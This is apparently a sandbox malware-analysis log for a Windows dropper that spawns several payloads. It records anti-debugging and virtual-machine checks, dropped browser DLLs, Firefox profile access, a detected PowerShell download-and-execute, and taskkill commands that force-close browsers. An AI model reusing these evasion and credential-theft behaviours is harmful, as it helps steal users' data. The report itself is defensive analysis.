Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Special instruction interceptor: First address: 649FBF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Special instruction interceptor: First address: 6534D22 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Memory allocated: 4D90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Memory allocated: 4FD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Memory allocated: 4D90000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04B80C38 rdtsc

0_2_04B80C38

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1070	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1084	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1057	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1120	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1265	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1162	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Dropped PE file which has not been started: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Dropped PE file which has not been started: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Dropped PE file which has not been started: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe

API coverage: 1.6 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4140	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4140	Thread sleep time: -84042s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4432	Thread sleep count: 1070 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4432	Thread sleep time: -2141070s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2492	Thread sleep count: 281 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2492	Thread sleep time: -8430000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1928	Thread sleep count: 1084 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1928	Thread sleep time: -2169084s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2416	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5308	Thread sleep count: 1057 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5308	Thread sleep time: -2115057s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4476	Thread sleep count: 1120 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4476	Thread sleep time: -2241120s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2124	Thread sleep count: 1265 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2124	Thread sleep time: -2531265s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2124	Thread sleep count: 1162 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2124	Thread sleep time: -2325162s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe TID: 6508	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe TID: 3236	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe TID: 6904	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe TID: 5428	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe TID: 4124	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe TID: 6308	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe TID: 3396	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe TID: 6544	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe TID: 1848	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe TID: 6280	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe TID: 1820	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe TID: 3748	Thread sleep time: -150000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe TID: 4080	Thread sleep count: 102 > 30
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe TID: 4080	Thread sleep time: -612000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe TID: 7444	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe

Code function: 10_2_61E354D1 sqlite3_os_init,GetSystemInfo,

10_2_61E354D1

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\trash14220\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmp, 8c3bfc0f85.exe, 8c3bfc0f85.exe, 0000000A.00000002.3020539701.0000000000500000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000001D.00000002.3018267844.0000000000500000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: firefox.exe, 0000001A.00000002.2899065018.000001F5CB78D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW5
Source: firefox.exe, 00000021.00000002.2890447642.0000020776170000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllx
Source: firefox.exe, 0000001A.00000002.2899065018.000001F5CB78D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RA#
Source: file.exe, 00000000.00000003.1714046270.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.1714046270.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}(
Source: firefox.exe, 00000021.00000002.2890447642.0000020776170000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll4
Source: file.exe, 00000000.00000003.1714046270.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B17000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3025966445.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899065018.000001F5CB760000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2873263974.0000014CC82DA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2890447642.0000020776170000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 8c3bfc0f85.exe, 0000001D.00000002.3027850377.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 0000001A.00000002.2901864507.000001F5D54A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2889319951.0000014CC8817000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: firefox.exe, 0000001E.00000002.2892794104.0000014CC8C40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll/B
Source: file.exe, 00000000.00000003.1714046270.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxj
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware1
Source: file.exe, 00000000.00000003.1714046270.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\ k
Source: firefox.exe, 00000021.00000002.2890447642.0000020776170000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll~
Source: file.exe, 00000000.00000002.1743565572.0000000000379000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1769334674.0000000000209000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000001.1722767543.0000000000209000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1772321827.0000000000209000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3020539701.0000000000500000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000001D.00000002.3018267844.0000000000500000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: firefox.exe, 00000021.00000002.2874205406.00000207758AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW09
Source: firefox.exe, 0000001E.00000002.2873263974.0000014CC82DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll"
Source: firefox.exe, 0000001E.00000002.2892794104.0000014CC8C40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 0000001E.00000002.2873263974.0000014CC82DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp80
Source: chrome.exe, 00000020.00000002.2850425431.000001F5DFF48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllxx

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04B80C38 rdtsc

0_2_04B80C38

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0004652B mov eax, dword ptr fs:[00000030h]		6_2_0004652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0004A302 mov eax, dword ptr fs:[00000030h]		6_2_0004A302

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61EAF900 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,		10_2_61EAF900
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61EAF8FC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,		10_2_61EAF8FC

Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 8c3bfc0f85.exe PID: 3352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8c3bfc0f85.exe PID: 5852, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe "C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe "C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe "C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe "C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe "C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

